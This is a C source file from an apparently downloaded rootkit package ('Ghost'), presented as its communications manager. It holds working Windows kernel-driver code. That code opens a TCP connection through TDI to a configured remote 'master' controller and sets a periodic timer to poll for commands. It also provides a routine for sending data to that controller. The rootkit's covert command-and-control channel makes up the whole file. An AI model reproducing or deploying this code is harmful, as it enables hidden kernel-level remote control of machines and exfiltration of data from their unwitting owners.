www.pudn.com > ROOTKIT_Ghost.rar > commManager.c
// commManager // Copyright Ric Vieler, 2006 // This file supports a TDI connection to // masterAddress1.2.3.4 : masterPort #include#include #include #include #include "commManager.h" #include "configManager.h" #include "Ghost.h" // Globals char* pSendBuffer = NULL; PMDL pSendMdl = NULL; PMDL pReceiveMdl = NULL; PFILE_OBJECT pFileObject = NULL; PDEVICE_OBJECT pDeviceObject = NULL; PKTIMER pKernelTimer = NULL; PKDPC pKernelDPC = NULL; PFILE_FULL_EA_INFORMATION pFileInfo = NULL; // Completion routine for all events (connect, send and receive) static NTSTATUS TDICompletionRoutine(IN PDEVICE_OBJECT theDeviceObject, IN PIRP theIrp, IN PVOID theContextP) { if( theContextP != NULL ) KeSetEvent( (PKEVENT)theContextP, 0, FALSE ); return( STATUS_MORE_PROCESSING_REQUIRED ); } // Open a TDI channel and connect to masterAddress1.2.3.4 : masterPort NTSTATUS OpenTDIConnection() { int port; int address1; int address2; int address3; int address4; NTSTATUS status; UNICODE_STRING TdiTransportDeviceName; OBJECT_ATTRIBUTES TdiAttributes; HANDLE TdiAddressHandle; HANDLE TdiEndpointHandle; IO_STATUS_BLOCK IoStatusBlock; PTA_IP_ADDRESS pAddress; CONNECTION_CONTEXT connectionContext = NULL; ULONG eaSize; PIRP pIrp; PVOID pAddressFileObject; KEVENT irpCompleteEvent; KEVENT connectionEvent; TA_IP_ADDRESS controllerTaIpAddress; ULONG controllerIpAddress; USHORT controllerPort; TDI_CONNECTION_INFORMATION controllerConnection; LARGE_INTEGER timeout; static char eaBuffer[ sizeof(FILE_FULL_EA_INFORMATION) + TDI_TRANSPORT_ADDRESS_LENGTH + sizeof(TA_IP_ADDRESS)]; PFILE_FULL_EA_INFORMATION pEaBuffer = (PFILE_FULL_EA_INFORMATION)eaBuffer; // Build Unicode transport device name. RtlInitUnicodeString( &TdiTransportDeviceName, COMM_TCP_DEVICE_NAME ); // "/device/tcp" // create object attribs InitializeObjectAttributes( &TdiAttributes, &TdiTransportDeviceName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 0, 0 ); pEaBuffer->NextEntryOffset = 0; pEaBuffer->Flags = 0; pEaBuffer->EaNameLength = TDI_TRANSPORT_ADDRESS_LENGTH; // Copy TdiTransportAddress memcpy( pEaBuffer->EaName, TdiTransportAddress, pEaBuffer->EaNameLength + 1 ); // EaValue represents of the local host IP address and port pEaBuffer->EaValueLength = sizeof(TA_IP_ADDRESS); pAddress = (PTA_IP_ADDRESS) (pEaBuffer->EaName + pEaBuffer->EaNameLength + 1); pAddress->TAAddressCount = 1; pAddress->Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP; pAddress->Address[0].AddressType = TDI_ADDRESS_TYPE_IP; pAddress->Address[0].Address[0].sin_port = 0; // any port pAddress->Address[0].Address[0].in_addr = 0; // local address memset( pAddress->Address[0].Address[0].sin_zero, 0, sizeof(pAddress->Address[0].Address[0].sin_zero) ); // Get the transport device status = ZwCreateFile( &TdiAddressHandle, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &TdiAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN, 0, pEaBuffer, sizeof(eaBuffer) ); if( !NT_SUCCESS( status ) ) { DbgPrint("comint32: OpenTDIConnection() ZwCreate #1 failed, Status = %0x", status); return STATUS_UNSUCCESSFUL; } // get object handle status = ObReferenceObjectByHandle( TdiAddressHandle, FILE_ANY_ACCESS, 0, KernelMode, (PVOID *)&pAddressFileObject, NULL ); // Open a TDI endpoint eaSize = FIELD_OFFSET(FILE_FULL_EA_INFORMATION, EaName) + TDI_CONNECTION_CONTEXT_LENGTH + 1 + sizeof(CONNECTION_CONTEXT); // Overwrite pEaBuffer pFileInfo = (PFILE_FULL_EA_INFORMATION)ExAllocatePool(NonPagedPool, eaSize); if( pFileInfo == NULL ) { DbgPrint("comint32: OpenTDIConnection() failed to allocate buffer"); return STATUS_INSUFFICIENT_RESOURCES; } // Set file info memset(pFileInfo, 0, eaSize); pFileInfo->NextEntryOffset = 0; pFileInfo->Flags = 0; pFileInfo->EaNameLength = TDI_CONNECTION_CONTEXT_LENGTH; memcpy( pFileInfo->EaName, TdiConnectionContext, pFileInfo->EaNameLength + 1 ); //includes NULL terminator // CONNECTION_CONTEXT is a user defined structure used to sort connections // There is only one connection in this example, so CONNECTION_CONTEXT is not used pFileInfo->EaValueLength = sizeof(CONNECTION_CONTEXT); *(CONNECTION_CONTEXT*)(pFileInfo->EaName+(pFileInfo->EaNameLength + 1)) = (CONNECTION_CONTEXT) connectionContext; status = ZwCreateFile( &TdiEndpointHandle, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &TdiAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN, 0, pFileInfo, sizeof(eaBuffer) ); if( !NT_SUCCESS( status ) ) { DbgPrint("comint32: OpenTDIConnection() ZwCreate #2 failed, Status = %0x", status); return STATUS_UNSUCCESSFUL; } // get object handle status = ObReferenceObjectByHandle( TdiEndpointHandle, FILE_ANY_ACCESS, 0, KernelMode, (PVOID *)&pFileObject, NULL ); // Associate endpoint with address pDeviceObject = IoGetRelatedDeviceObject( pAddressFileObject ); // Define a completion event KeInitializeEvent( &irpCompleteEvent, NotificationEvent, FALSE ); // Build IO Request Packet pIrp = TdiBuildInternalDeviceControlIrp( TDI_ASSOCIATE_ADDRESS, pDeviceObject, pFileObject, &irpCompleteEvent, &IoStatusBlock ); if( pIrp == NULL ) { DbgPrint("comint32: No IRP for TDI_ASSOCIATE_ADDRESS"); return( STATUS_INSUFFICIENT_RESOURCES ); } // Extend the IRP TdiBuildAssociateAddress(pIrp, pDeviceObject, pFileObject, NULL, NULL, TdiAddressHandle ); // set completion routine IoSetCompletionRoutine( pIrp, TDICompletionRoutine, &irpCompleteEvent, TRUE, TRUE, TRUE); // Send the packet status = IoCallDriver( pDeviceObject, pIrp ); // Wait if( status == STATUS_PENDING ) { DbgPrint("comint32: OpenTDIConnection() Waiting on IRP (associate)..."); KeWaitForSingleObject(&irpCompleteEvent, Executive, KernelMode, FALSE, 0); } if( ( status != STATUS_SUCCESS) && ( status != STATUS_PENDING ) ) { DbgPrint("comint32: OpenTDIConnection() IoCallDriver #1 failed. Status = %0x", status); return STATUS_UNSUCCESSFUL; } // Connect to the remote controller KeInitializeEvent(&connectionEvent, NotificationEvent, FALSE); // build connection packet pIrp = TdiBuildInternalDeviceControlIrp( TDI_CONNECT, pDeviceObject, pFileObject, &connectionEvent, &IoStatusBlock ); if( pIrp == NULL ) { DbgPrint("comint32: OpenTDIConnection() could not get an IRP for TDI_CONNECT"); return( STATUS_INSUFFICIENT_RESOURCES ); } // Initialize controller data address1 = atoi(masterAddress1); address2 = atoi(masterAddress2); address3 = atoi(masterAddress3); address4 = atoi(masterAddress4); port = atoi(masterPort); controllerPort = HTONS(port); controllerIpAddress = INETADDR(address1,address2,address3,address4); controllerTaIpAddress.TAAddressCount = 1; controllerTaIpAddress.Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP; controllerTaIpAddress.Address[0].AddressType = TDI_ADDRESS_TYPE_IP; controllerTaIpAddress.Address[0].Address[0].sin_port = controllerPort; controllerTaIpAddress.Address[0].Address[0].in_addr = controllerIpAddress; controllerConnection.UserDataLength = 0; controllerConnection.UserData = 0; controllerConnection.OptionsLength = 0; controllerConnection.Options = 0; controllerConnection.RemoteAddressLength = sizeof(controllerTaIpAddress); controllerConnection.RemoteAddress = &controllerTaIpAddress; // add controller data to the packet TdiBuildConnect( pIrp, pDeviceObject, pFileObject, NULL, NULL, NULL, &controllerConnection, 0 ); // set completion routine IoSetCompletionRoutine( pIrp, TDICompletionRoutine, &connectionEvent, TRUE, TRUE, TRUE); // Send the packet status = IoCallDriver( pDeviceObject, pIrp ); // wait if( status == STATUS_PENDING ) { DbgPrint("comint32: OpenTDIConnection() waiting on IRP (connect)..."); KeWaitForSingleObject(&connectionEvent, Executive, KernelMode, FALSE, 0); } if( ( status != STATUS_SUCCESS ) && ( status != STATUS_PENDING ) ) { DbgPrint("comint32: OpenTDIConnection() Connection failed. Status = %0x", status); return( STATUS_UNSUCCESSFUL ); } // Start a Deferred Procedure Call // Objects must be non paged pKernelTimer = ExAllocatePool( NonPagedPool, sizeof( KTIMER ) ); pKernelDPC = ExAllocatePool( NonPagedPool, sizeof( KDPC ) ); timeout.QuadPart = -10; KeInitializeTimer( pKernelTimer ); KeInitializeDpc( pKernelDPC, timerDPC, NULL ); if( KeSetTimerEx( pKernelTimer, timeout, 500, pKernelDPC ) ) // 1/2 second { DbgPrint("comint32: OpenTDIConnection() Timer was already set."); } return STATUS_SUCCESS; } // Clean up void CloseTDIConnection() { // KeFlushQueuedDPCs would be nice here KeCancelTimer( pKernelTimer ); ExFreePool( pKernelTimer ); ExFreePool( pKernelDPC ); if( pFileInfo != NULL ) ExFreePool( pFileInfo ); if( pKernelTimer == NULL ) ExFreePool( pKernelTimer ); if( pKernelDPC == NULL ) ExFreePool( pKernelDPC ); if( pSendBuffer != NULL ) ExFreePool( pSendBuffer ); if( pSendMdl != NULL ) IoFreeMdl( pSendMdl ); if( pReceiveMdl != NULL ) IoFreeMdl( pReceiveMdl ); } NTSTATUS SendToRemoteController( char* buffer ) { NTSTATUS status; ULONG bufferLength; KEVENT SendEvent; PIRP pIrp; IO_STATUS_BLOCK IoStatusBlock; KeInitializeEvent( &SendEvent, NotificationEvent, FALSE ); bufferLength = strlen( buffer ); if( pSendBuffer != NULL ) ExFreePool( pSendBuffer ); pSendBuffer = ExAllocatePool( NonPagedPool, bufferLength ); memcpy( pSendBuffer, buffer, bufferLength ); // build an IO Request Packet pIrp = TdiBuildInternalDeviceControlIrp( TDI_SEND, pDeviceObject, pFileObject, &SendEvent, &IoStatusBlock ); if( pIrp == NULL ) { DbgPrint( "comint32: SendToRemoteController() could not get an IRP for TDI_SEND" ); return( STATUS_INSUFFICIENT_RESOURCES ); } if( pSendMdl != NULL ) IoFreeMdl( pSendMdl ); pSendMdl = IoAllocateMdl( pSendBuffer, bufferLength, FALSE, FALSE, pIrp ); if( pSendMdl == NULL ) { DbgPrint("comint32: SendToRemoteController() could not get an MDL for TDI_SEND"); return( STATUS_INSUFFICIENT_RESOURCES ); } __try { MmProbeAndLockPages( pSendMdl, KernelMode, IoModifyAccess ); } __except( EXCEPTION_EXECUTE_HANDLER ) { DbgPrint("comint32: SendToRemoteController() ProbeAndLock exception."); return( STATUS_UNSUCCESSFUL ); } // Extend the packet TdiBuildSend( pIrp, pDeviceObject, pFileObject, NULL, NULL, pSendMdl, 0, bufferLength ); // set completion routine IoSetCompletionRoutine( pIrp, TDICompletionRoutine, &SendEvent, TRUE, TRUE, TRUE); // Send the packet status = IoCallDriver( pDeviceObject, pIrp ); // wait if( status == STATUS_PENDING ) { DbgPrint("comint32: SendToRemoteController() waiting on IRP (send)..."); KeWaitForSingleObject( &SendEvent, Executive, KernelMode, FALSE, 0 ); } if( ( status != STATUS_SUCCESS ) && ( status != STATUS_PENDING ) ) { DbgPrint("comint32: SendToRemoteController() Send failed. Status = %0x", status); return( STATUS_UNSUCCESSFUL ); } return STATUS_SUCCESS; } // called periodically VOID timerDPC( PKDPC Dpc, PVOID DeferredContext, PVOID sys1, PVOID sys2 ) { // poll for commands }